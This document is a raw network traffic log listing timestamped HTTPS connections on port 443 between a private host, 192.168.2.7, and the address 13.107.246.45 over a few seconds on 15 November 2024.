Nov 15, 2024 19:39:51.814273119 CET	49924	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.814277887 CET	443	49924	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.816643953 CET	49935	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.816684961 CET	443	49935	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.816744089 CET	49935	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.816982031 CET	49935	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.816999912 CET	443	49935	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.842009068 CET	443	49925	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.842037916 CET	443	49925	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.842096090 CET	443	49925	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.842144966 CET	49925	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.842266083 CET	49925	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.842283964 CET	443	49925	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.842302084 CET	49925	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.842308998 CET	443	49925	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.844527006 CET	49936	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.844624996 CET	443	49936	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.844697952 CET	49936	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.844870090 CET	49936	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.844907045 CET	443	49936	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.862298965 CET	443	49927	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.862402916 CET	443	49927	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.862461090 CET	49927	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.862941027 CET	49927	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.862961054 CET	443	49927	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.862997055 CET	49927	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.863003016 CET	443	49927	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.881975889 CET	49937	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.882031918 CET	443	49937	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:51.882287025 CET	49937	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.882602930 CET	49937	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:51.882626057 CET	443	49937	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.556257963 CET	443	49934	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.556760073 CET	49934	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.556798935 CET	443	49934	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.557320118 CET	49934	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.557327986 CET	443	49934	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.573689938 CET	443	49935	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.574163914 CET	49935	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.574203014 CET	443	49935	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.574812889 CET	49935	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.574820042 CET	443	49935	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.603199959 CET	443	49937	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.603811979 CET	49937	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.603844881 CET	443	49937	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.604455948 CET	49937	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.604471922 CET	443	49937	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.610491991 CET	443	49936	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.612520933 CET	49936	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.612543106 CET	443	49936	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.615693092 CET	49936	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.615698099 CET	443	49936	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.688302040 CET	443	49934	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.688355923 CET	443	49934	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.688393116 CET	443	49934	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.688566923 CET	49934	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.689868927 CET	49934	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.689899921 CET	443	49934	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.689908028 CET	49934	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.689915895 CET	443	49934	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.695614100 CET	49947	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.695648909 CET	443	49947	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.695761919 CET	49947	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.695910931 CET	49947	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.695919037 CET	443	49947	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.705637932 CET	443	49935	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.706155062 CET	443	49935	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.706263065 CET	49935	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.706307888 CET	49935	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.706307888 CET	49935	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.706331015 CET	443	49935	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.706342936 CET	443	49935	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.715903044 CET	49950	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.715938091 CET	443	49950	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.716110945 CET	49950	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.716615915 CET	49950	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.716638088 CET	443	49950	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.731333971 CET	443	49937	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.731481075 CET	443	49937	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.731554031 CET	49937	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.737402916 CET	49937	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.737442017 CET	443	49937	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.737461090 CET	49937	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.737471104 CET	443	49937	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.746917009 CET	443	49936	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.747528076 CET	443	49936	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.747575998 CET	443	49936	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.747590065 CET	49936	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.747644901 CET	49936	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.760081053 CET	49936	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.760097027 CET	443	49936	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.760107040 CET	49936	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.760112047 CET	443	49936	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.811178923 CET	49951	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.811222076 CET	443	49951	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.811490059 CET	49951	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.812028885 CET	49951	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.812041998 CET	443	49951	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.814038992 CET	49952	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.814083099 CET	443	49952	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:52.814151049 CET	49952	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.814651966 CET	49952	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:52.814661980 CET	443	49952	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.440567017 CET	443	49950	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.441081047 CET	443	49947	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.443358898 CET	49950	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.443381071 CET	443	49950	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.443932056 CET	49947	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.443957090 CET	443	49947	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.444020987 CET	49950	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.444036961 CET	443	49950	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.444633007 CET	49947	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.444638968 CET	443	49947	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.558887959 CET	443	49952	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.560951948 CET	443	49951	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.567766905 CET	443	49950	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.568176031 CET	443	49950	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.568250895 CET	49950	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.570390940 CET	443	49947	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.570447922 CET	443	49947	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.570525885 CET	49947	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.570547104 CET	443	49947	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.570561886 CET	443	49947	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.570601940 CET	49947	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.603054047 CET	49952	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.603082895 CET	443	49952	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.603518009 CET	49952	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.603523016 CET	443	49952	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.604990959 CET	49951	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.605010033 CET	443	49951	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.605648994 CET	49951	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.605654001 CET	443	49951	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.606034040 CET	49950	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.606034040 CET	49950	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.606055975 CET	443	49950	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.606067896 CET	443	49950	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.606239080 CET	49947	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.606266022 CET	443	49947	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.606277943 CET	49947	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.606285095 CET	443	49947	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.615756989 CET	49957	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.615803957 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.615865946 CET	49957	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.617099047 CET	49958	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.617142916 CET	443	49958	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.617388964 CET	49958	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.617629051 CET	49957	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.617645979 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.617764950 CET	49958	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.617784977 CET	443	49958	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.729654074 CET	443	49952	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.729746103 CET	443	49952	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.729809999 CET	49952	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.730323076 CET	49952	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.730345964 CET	443	49952	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.730356932 CET	49952	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.730362892 CET	443	49952	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.731451035 CET	443	49951	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.731479883 CET	443	49951	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.731518984 CET	443	49951	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.731523037 CET	49951	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.731560946 CET	49951	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.732059002 CET	49951	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.732080936 CET	443	49951	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.732093096 CET	49951	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.732100010 CET	443	49951	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.735472918 CET	49961	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.735503912 CET	443	49961	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.735563993 CET	49961	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.736272097 CET	49962	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.736304045 CET	443	49962	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.736361980 CET	49962	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.736563921 CET	49961	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.736573935 CET	443	49961	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:53.736707926 CET	49962	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:53.736726046 CET	443	49962	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.157531977 CET	443	49926	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.158010006 CET	49926	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.158026934 CET	443	49926	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.158570051 CET	49926	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.158574104 CET	443	49926	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.303827047 CET	443	49926	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.303865910 CET	443	49926	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.303922892 CET	49926	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.303934097 CET	443	49926	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.304001093 CET	443	49926	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.304186106 CET	49926	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.304186106 CET	49926	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.304219007 CET	49926	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.304231882 CET	443	49926	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.307285070 CET	49969	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.307342052 CET	443	49969	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.307415962 CET	49969	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.307621002 CET	49969	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.307641983 CET	443	49969	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.342925072 CET	443	49958	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.343323946 CET	49958	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.343350887 CET	443	49958	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.343812943 CET	49958	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.343822002 CET	443	49958	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.357738018 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.358077049 CET	49957	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.358109951 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.358493090 CET	49957	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.358500957 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.464294910 CET	443	49961	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.464726925 CET	49961	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.464742899 CET	443	49961	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.465159893 CET	49961	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.465166092 CET	443	49961	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.472961903 CET	443	49958	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.473145008 CET	443	49958	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.473200083 CET	49958	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.473222017 CET	49958	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.473237038 CET	443	49958	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.473247051 CET	49958	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.473252058 CET	443	49958	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.477998018 CET	49971	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.478034019 CET	443	49971	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.478106022 CET	49971	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.478247881 CET	49971	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.478255033 CET	443	49971	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.482357979 CET	443	49962	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.482848883 CET	49962	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.482867002 CET	443	49962	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.483237982 CET	49962	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.483243942 CET	443	49962	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.494829893 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.494848013 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.494890928 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.494895935 CET	49957	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.494935036 CET	49957	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.495120049 CET	49957	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.495137930 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.495150089 CET	49957	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.495157003 CET	443	49957	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.497435093 CET	49972	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.497473955 CET	443	49972	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.497673035 CET	49972	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.497673035 CET	49972	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.497709036 CET	443	49972	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.596350908 CET	443	49961	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.596698046 CET	443	49961	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.596740007 CET	49961	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.597157001 CET	49961	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.597177029 CET	443	49961	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.597187042 CET	49961	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.597192049 CET	443	49961	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.600053072 CET	49973	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.600081921 CET	443	49973	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.600213051 CET	49973	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.600306034 CET	49973	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.600317001 CET	443	49973	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.614178896 CET	443	49962	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.614242077 CET	443	49962	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.614285946 CET	49962	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.614372969 CET	49962	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.614391088 CET	443	49962	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.614403963 CET	49962	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.614412069 CET	443	49962	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.618463993 CET	49974	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.618499041 CET	443	49974	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:54.618733883 CET	49974	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.618733883 CET	49974	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:54.618768930 CET	443	49974	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.075719118 CET	443	49969	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.076443911 CET	49969	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.076479912 CET	443	49969	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.077150106 CET	49969	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.077157021 CET	443	49969	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.212387085 CET	443	49971	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.212901115 CET	49971	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.212944984 CET	443	49971	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.213360071 CET	49971	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.213368893 CET	443	49971	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.214571953 CET	443	49969	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.214622974 CET	443	49969	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.214668036 CET	49969	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.214679956 CET	443	49969	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.214709044 CET	443	49969	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.214750051 CET	49969	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.214898109 CET	49969	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.214915991 CET	443	49969	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.214931965 CET	49969	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.214937925 CET	443	49969	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.218581915 CET	49987	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.218679905 CET	443	49987	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.218753099 CET	49987	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.218862057 CET	49987	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.218885899 CET	443	49987	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.241193056 CET	443	49972	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.241660118 CET	49972	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.241677999 CET	443	49972	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.242189884 CET	49972	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.242206097 CET	443	49972	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.341466904 CET	443	49973	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.342931032 CET	443	49971	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.343089104 CET	443	49971	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.343154907 CET	49971	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.343811035 CET	49971	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.343836069 CET	443	49971	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.344575882 CET	49973	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.344594955 CET	443	49973	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.345273972 CET	49973	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.345278978 CET	443	49973	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.357439041 CET	443	49974	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.378117085 CET	49974	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.378137112 CET	443	49974	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.378706932 CET	49974	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.378712893 CET	443	49974	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.395270109 CET	49988	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.395304918 CET	443	49988	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.395359993 CET	49988	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.395558119 CET	49988	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.395570040 CET	443	49988	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.685014009 CET	443	49972	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.685041904 CET	443	49972	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.685086966 CET	443	49972	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.685101032 CET	49972	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.685271025 CET	49972	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.685848951 CET	443	49973	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.685967922 CET	443	49973	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.686008930 CET	49973	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.807985067 CET	443	49974	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.808067083 CET	443	49974	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.808293104 CET	49974	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.808782101 CET	49972	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.808782101 CET	49972	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.808800936 CET	443	49972	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.808811903 CET	443	49972	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.812149048 CET	49973	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.812165022 CET	443	49973	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.812200069 CET	49973	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.812206030 CET	443	49973	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.837665081 CET	49974	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.837665081 CET	49974	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.837678909 CET	443	49974	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.837688923 CET	443	49974	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:55.857150078 CET	49989	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:55.857198000 CET	443	49989	13.107.246.45	192.168.2.7
